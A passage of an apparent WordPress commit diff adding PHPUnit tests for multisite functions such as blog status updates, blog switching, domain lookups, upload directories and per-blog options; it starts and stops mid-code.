+               remove_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'archived' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->archived );
+               $this->assertEquals( 3, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'archived' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->archived );
+               $this->assertEquals( 3, $test_action_counter );
+               remove_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'archived' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->archived );
+               $this->assertEquals( 4, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'archived' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->archived );
+               $this->assertEquals( 4, $test_action_counter );
+               remove_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->deleted );
+               $this->assertEquals( 5, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->deleted );
+               $this->assertEquals( 5, $test_action_counter );
+               remove_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'deleted' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->deleted );
+               $this->assertEquals( 6, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'deleted' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->deleted );
+               $this->assertEquals( 6, $test_action_counter );
+               remove_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'mature' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->mature );
+               $this->assertEquals( 7, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'mature' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->mature );
+               $this->assertEquals( 7, $test_action_counter );
+               remove_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'mature' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->mature );
+               $this->assertEquals( 8, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'mature' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->mature );
+               $this->assertEquals( 8, $test_action_counter );
+               remove_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+       }
+
+       /**
+        * Test fetching a blog that doesn't exist and again after it exists.
+        * 
+        * @ticket 23405
+        */
+       function test_get_blog_details_blog_does_not_exist() {
+               global $wpdb;
+
+               $blog_id = $wpdb->get_var( "SELECT MAX(blog_id) FROM $wpdb->blogs" );
+
+               // An idosyncrancy of the unit tests is that the max blog_id gets reset
+               // to 1 in between test cases but picks up where it previously left off
+               // on the next insert. If 1 is reported, burn a blog create to get
+               // the max counter back in sync.
+               if ( 1 == $blog_id ) {
+                       $blog_id = $this->factory->blog->create();
+               }
+               $blog_id++;
+
+               $this->assertFalse( wp_cache_get( $blog_id, 'blog-details' ) );
+               $this->assertFalse( get_blog_details( $blog_id ) );
+               $this->assertEquals( -1, wp_cache_get( $blog_id, 'blog-details' ) );
+               $this->assertFalse( get_blog_details( $blog_id ) );
+               $this->assertEquals( -1, wp_cache_get( $blog_id, 'blog-details' ) );
+
+               $this->assertEquals( $blog_id, $this->factory->blog->create() );
+               $this->assertFalse( wp_cache_get( $blog_id, 'blog-details' )  );
+
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( $blog_id, $blog->blog_id );
+               $this->assertEquals( $blog, wp_cache_get( $blog_id, 'blog-details' ) );
+
+               wpmu_delete_blog( $blog_id );
+               $this->assertFalse( wp_cache_get( $blog_id, 'blog-details' ) );
+               $blog->deleted = '1';
+               $this->assertEQuals( $blog, get_blog_details( $blog_id ) );
+               $this->assertEquals( $blog, wp_cache_get( $blog_id, 'blog-details' ) );
+
+               wpmu_delete_blog( $blog_id, true );
+               $this->assertFalse( get_blog_details( $blog_id ) );
+               $this->assertEquals( -1, wp_cache_get( $blog_id, 'blog-details' ) );
+       }
+
+       function test_update_blog_status() {
+               global $test_action_counter;
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/test_blogpath', 'title' => 'Test Title' ) );
+               $this->assertInternalType( 'int', $blog_id );
+
+               $test_action_counter = 0;
+               $count = 1;
+
+               add_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_status( $blog_id, 'spam', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->spam );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'spam', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->spam );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               $count++;
+               add_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_status( $blog_id, 'spam', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->spam );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'spam', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->spam );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'archived', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->archived );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'archived', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->archived );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'archived', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->archived );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $result = update_blog_status( $blog_id, 'archived', 0 );
+               $count++;
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->archived );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'deleted', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->deleted );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'deleted', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->deleted );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'deleted', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->deleted );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'deleted', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->deleted );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'mature', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->mature );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'mature', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->mature );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'mature', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->mature );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'mature', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->mature );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'public', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->public );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'public', 0 );
+               $this->assertEquals( 0, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->public );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10, 1 );
+               $count++;
+               $result = update_blog_status( $blog_id, 'public', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->public );
+               $this->assertEquals( $count, $test_action_counter );
+
+               // Same again
+               $count++;
+               $result = update_blog_status( $blog_id, 'public', 1 );
+               $this->assertEquals( 1, $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->public );
+               $this->assertEquals( $count, $test_action_counter );
+               remove_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               // Updating a dummy field returns the value passed. Go fig.
+               $result = update_blog_status( $blog_id, 'doesnotexist', 1 );
+               $this->assertEquals( 1, $result );
+       }
+
+       function test_switch_restore_blog() {
+               global $_wp_switched_stack, $wpdb;
+
+               $this->assertEquals( array(), $_wp_switched_stack );
+               $this->assertFalse( ms_is_switched() );
+               $current_blog_id = get_current_blog_id();
+               $this->assertInternalType( 'integer', $current_blog_id );
+
+               wp_cache_set( 'switch-test', $current_blog_id, 'switch-test' );
+               $this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/test_blogpath', 'title' => 'Test Title' ) );
+
+               $cap_key = wp_get_current_user()->cap_key;
+               switch_to_blog( $blog_id );
+               $this->assertNotEquals( $cap_key, wp_get_current_user()->cap_key );
+               $this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+               $this->assertTrue( ms_is_switched() );
+               $this->assertEquals( $blog_id, $wpdb->blogid );
+               $this->assertFalse( wp_cache_get( 'switch-test', 'switch-test' ) );
+               wp_cache_set( 'switch-test', $blog_id, 'switch-test' );
+               $this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+               switch_to_blog( $blog_id );
+               $this->assertEquals( array( $current_blog_id, $blog_id ), $_wp_switched_stack );
+               $this->assertTrue( ms_is_switched() );
+               $this->assertEquals( $blog_id, $wpdb->blogid );
+               $this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+               restore_current_blog();
+               $this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+               $this->assertTrue( ms_is_switched() );
+               $this->assertEquals( $blog_id, $wpdb->blogid );
+               $this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+               restore_current_blog();
+               $this->assertEquals( $cap_key, wp_get_current_user()->cap_key );
+               $this->assertEquals( $current_blog_id, get_current_blog_id() );
+               $this->assertEquals( array(), $_wp_switched_stack );
+               $this->assertFalse( ms_is_switched() );
+               $this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+               $this->assertFalse( restore_current_blog() );
+       }
+
+       function test_get_blog_post() {
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/test_blogpath', 'title' => 'Test Title' ) );
+               $current_blog_id = get_current_blog_id();
+
+               $post_id = $this->factory->post->create();
+               $this->assertInstanceOf( 'WP_Post', get_post( $post_id ) );
+               switch_to_blog( $blog_id );
+               $this->assertNull( get_post( $post_id ) );
+               $post = get_blog_post( $current_blog_id, $post_id );
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( $post_id, $post->ID );
+               restore_current_blog();
+
+               wp_update_post( array( 'ID' => $post_id, 'post_title' => 'A Different Title' ) );
+               switch_to_blog( $blog_id );
+               $post = get_blog_post( $current_blog_id, $post_id );
+               // Make sure cache is good
+               $this->assertEquals( 'A Different Title', $post->post_title );
+
+               $post_id2 = $this->factory->post->create();
+               // Test get_blog_post() with currently active blog ID.
+               $post = get_blog_post( $blog_id, $post_id2 );
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( $post_id2, $post->ID );
+               restore_current_blog();
+       }
+
+       /**
+        * @ticket 21570
+        */
+       function test_is_email_address_unsafe() {
+               update_site_option( 'banned_email_domains', array( 'bar.com', 'foo.co' ) );
+
+               foreach ( array( 'test@bar.com', 'test@foo.bar.com', 'test@foo.co', 'test@subdomain.foo.co' ) as $email_address ) {
+                       $this->assertTrue( is_email_address_unsafe( $email_address ), "$email_address should be UNSAFE" );
+               }
+
+               foreach ( array( 'test@foobar.com', 'test@foo-bar.com', 'test@foo.com', 'test@subdomain.foo.com' ) as $email_address ) {
+                       $this->assertFalse( is_email_address_unsafe( $email_address ), "$email_address should be SAFE" );
+               }
+       }
+
+       /**
+        * @ticket 21552
+        * @ticket 23418
+        */
+       function test_sanitize_ms_options() {
+               update_site_option( 'illegal_names', array( '', 'Woo', '' ) );
+               update_site_option( 'limited_email_domains', array(  'woo', '', 'boo.com', 'foo.net.biz..'  ) );
+               update_site_option( 'banned_email_domains', array(  'woo', '', 'boo.com', 'foo.net.biz..'  ) );
+
+               $this->assertEquals( array( 'Woo' ), get_site_option( 'illegal_names' ) );
+               $this->assertEquals( array( 'woo', 'boo.com' ), get_site_option( 'limited_email_domains' ) );
+               $this->assertEquals( array( 'woo', 'boo.com' ), get_site_option( 'banned_email_domains' ) );
+
+               update_site_option( 'illegal_names', 'foo bar' );
+               update_site_option( 'limited_email_domains', "foo\nbar" );
+               update_site_option( 'banned_email_domains', "foo\nbar" );
+
+               $this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'illegal_names' ) );
+               $this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'limited_email_domains' ) );
+               $this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'banned_email_domains' ) );
+
+               foreach ( array( 'illegal_names', 'limited_email_domains', 'banned_email_domains' ) as $option ) {
+                       update_site_option( $option, array() );
+                       $this->assertSame( '', get_site_option( $option ) );
+               }
+       }
+
+       function _domain_exists_cb( $exists, $domain, $path, $site_id ) {
+               if ( 'foo' == $domain && 'bar' == $path )
+                       return 1234;
+               else
+                       return null;
+       }
+
+       function test_domain_exists() {
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/testdomainexists', 'title' => 'Test Title' ) );
+
+               $details = get_blog_details( $blog_id, false );
+
+               $this->assertEquals( $blog_id, domain_exists( $details->domain, $details->path ) );
+               $this->assertEquals( $blog_id, domain_exists( $details->domain, $details->path, $details->site_id ) );
+               $this->assertEquals( null, domain_exists( $details->domain, $details->path, 999 ) );
+               $this->assertEquals( null, domain_exists( 'foo', 'bar' ) );
+
+               add_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+               $this->assertEquals( 1234, domain_exists( 'foo', 'bar' ) );
+               $this->assertEquals( null, domain_exists( 'foo', 'baz' ) );
+               $this->assertEquals( null, domain_exists( 'bar', 'foo' ) );
+
+               remove_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+               $this->assertEquals( null, domain_exists( 'foo', 'bar' ) );
+
+               wpmu_delete_blog( $blog_id );
+               $this->assertEquals( $blog_id, domain_exists( $details->domain, $details->path ) );
+               wpmu_delete_blog( $blog_id, true );
+               $this->assertEquals( null, domain_exists( $details->domain, $details->path ) );
+       }
+
+       function test_get_blog_id_from_url() {
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/testdomainexists', 'title' => 'Test Title' ) );
+
+               $details = get_blog_details( $blog_id, false );
+
+               $this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+               $key = md5( $details->domain . $details->path );
+               $this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+
+               $this->assertEquals( 0, get_blog_id_from_url( $details->domain, 'foo' ) );
+
+               wpmu_delete_blog( $blog_id );
+               $this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+               wpmu_delete_blog( $blog_id, true );
+
+               $this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+               $this->assertEquals( 0, get_blog_id_from_url( $details->domain, $details->path ) );
+       }
+
+       function test_is_main_site() {
+               $this->assertTrue( is_main_site() );
+               $this->assertTrue( is_main_site( get_current_blog_id() ) );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+
+               switch_to_blog( $blog_id  );
+               $this->assertFalse( is_main_site( $blog_id ) );
+               $this->assertFalse( is_main_site( get_current_blog_id() ) );
+               $this->assertFalse( is_main_site() );
+
+               restore_current_blog();
+       }
+
+       function test_switch_upload_dir() {
+               $this->assertTrue( is_main_site() );
+
+               $site = get_current_site();
+
+               $info = wp_upload_dir();
+               $this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+
+               switch_to_blog( $blog_id );
+               $info = wp_upload_dir();
+               $this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+               restore_current_blog();
+
+               $info = wp_upload_dir();
+               $this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+
+               update_site_option( 'ms_files_rewriting', 1 );
+               ms_upload_constants();
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id2 = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+               $info = wp_upload_dir();
+               $this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+
+               switch_to_blog( $blog_id2 );
+               $info2 = wp_upload_dir();
+               $this->assertNotEquals( $info, $info2 );
+               $this->assertEquals( get_option( 'siteurl' )  . '/wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info2['subdir'] );
+               $this->assertEquals( '', $info2['error'] );
+               restore_current_blog();
+               update_site_option( 'ms_files_rewriting', 0 );
+       }
+
+       /**
+        * @ticket 23192
+        */
+       function test_is_user_spammy() {
+               $user_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => 'testuser1',
+               ) );
+
+               $spam_username = (string) $user_id;
+               $spam_user_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => $spam_username,
+               ) );
+               update_user_status( $spam_user_id, 'spam', '1' );
+               
+               $this->assertTrue( is_user_spammy( $spam_username ) );
+               $this->assertFalse( is_user_spammy( 'testuser1' ) );
+       }
+
+}
+
+endif;
</ins></span></pre></div>
<a id="trunkteststestsoptionblogOptionphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/blogOption.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/blogOption.php                          (rev 0)
+++ trunk/tests/tests/option/blogOption.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,137 @@
</span><ins>+<?php
+
+if ( is_multisite() ) :
+/**
+ * @group option
+ */
+class Tests_Option_BlogOption extends WP_UnitTestCase {
+       function test_from_same_site() {
+               $key = rand_str();
+               $key2 = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_blog_option( 1, 'doesnotexist' ) );
+               $this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+               $this->assertTrue( add_blog_option( 1, $key, $value ) );
+               // Assert all values of $blog_id that means the current or main blog (the same here).
+               $this->assertEquals( $value, get_blog_option( 1, $key ) );
+               $this->assertEquals( $value, get_blog_option( null, $key ) );
+               $this->assertEquals( $value, get_blog_option( '1', $key ) );
+               $this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+               $this->assertFalse( add_blog_option( 1, $key, $value ) );  // Already exists
+               $this->assertFalse( update_blog_option( 1, $key, $value ) );  // Value is the same
+               $this->assertTrue( update_blog_option( 1, $key, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( 1, $key ) );
+               $this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+               $this->assertFalse( add_blog_option( 1, $key, $value ) );
+               $this->assertEquals( $value2, get_blog_option( 1, $key ) );
+               $this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+               $this->assertTrue( delete_blog_option( 1, $key ) );
+               $this->assertFalse( get_blog_option( 1, $key ) );
+               $this->assertFalse( get_option( $key ) ); // check get_option()
+               $this->assertFalse( delete_blog_option( 1, $key ) );
+               $this->assertTrue( update_blog_option( 1, $key2, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( 1, $key2 ) );
+               $this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+               $this->assertTrue( delete_blog_option( 1, $key2 ) );
+               $this->assertFalse( get_blog_option( 1, $key2 ) );
+               $this->assertFalse( get_option( $key2 ) ); // check get_option()
+       }
+
+       function test_from_same_site_with_null_blog_id() {
+               $key = rand_str();
+               $key2 = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_blog_option( null, 'doesnotexist' ) );
+               $this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+               $this->assertTrue( add_blog_option( null, $key, $value ) );
+               // Assert all values of $blog_id that means the current or main blog (the same here).
+               $this->assertEquals( $value, get_blog_option( null, $key ) );
+               $this->assertEquals( $value, get_blog_option( null, $key ) );
+               $this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+               $this->assertFalse( add_blog_option( null, $key, $value ) );  // Already exists
+               $this->assertFalse( update_blog_option( null, $key, $value ) );  // Value is the same
+               $this->assertTrue( update_blog_option( null, $key, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( null, $key ) );
+               $this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+               $this->assertFalse( add_blog_option( null, $key, $value ) );
+               $this->assertEquals( $value2, get_blog_option( null, $key ) );
+               $this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+               $this->assertTrue( delete_blog_option( null, $key ) );
+               $this->assertFalse( get_blog_option( null, $key ) );
+               $this->assertFalse( get_option( $key ) ); // check get_option()
+               $this->assertFalse( delete_blog_option( null, $key ) );
+               $this->assertTrue( update_blog_option( null, $key2, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( null, $key2 ) );
+               $this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+               $this->assertTrue( delete_blog_option( null, $key2 ) );
+               $this->assertFalse( get_blog_option( null, $key2 ) );
+               $this->assertFalse( get_option( $key2 ) ); // check get_option()
+       }
+
+       function test_with_another_site() {
+               global $current_site, $base;
+
+               $domain = 'blogoptiontest';
+
+               if ( is_subdomain_install() ) {
+                       $newdomain = $domain . '.' . preg_replace( '|^www\.|', '', $current_site->domain );
+                       $path = $base;
+               } else {
+                       $newdomain = $current_site->domain;
+                       $path = $base . $domain . '/';
+               }
+
+               $email = 'foo@foo.foo';
+               $password = wp_generate_password( 12, false );
+               $user_id = wpmu_create_user( $domain, $password, $email );
+               $this->assertInternalType( 'integer', $user_id );
+
+               $blog_id = wpmu_create_blog( $newdomain, $path, $title, $user_id , array( 'public' => 1 ), $current_site->id );
+               $this->assertInternalType( 'integer', $blog_id );
+
+               $key = rand_str();
+               $key2 = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_blog_option( $blog_id, 'doesnotexist' ) );
+               //$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+               $this->assertTrue( add_blog_option( $blog_id, $key, $value ) );
+               // Assert all values of $blog_id that means the current or main blog (the same here).
+               $this->assertEquals( $value, get_blog_option( $blog_id, $key ) );
+               $this->assertEquals( $value, get_blog_option( "$blog_id", $key ) );
+               //$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+               $this->assertFalse( add_blog_option( $blog_id, $key, $value ) );  // Already exists
+               $this->assertFalse( update_blog_option( $blog_id, $key, $value ) );  // Value is the same
+               $this->assertTrue( update_blog_option( $blog_id, $key, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+               //$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+               $this->assertFalse( add_blog_option( $blog_id, $key, $value ) );
+               $this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+               //$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+               $this->assertTrue( delete_blog_option( $blog_id, $key ) );
+               $this->assertFalse( get_blog_option( $blog_id, $key ) );
+               //$this->assertFalse( get_option( $key ) ); // check get_option()
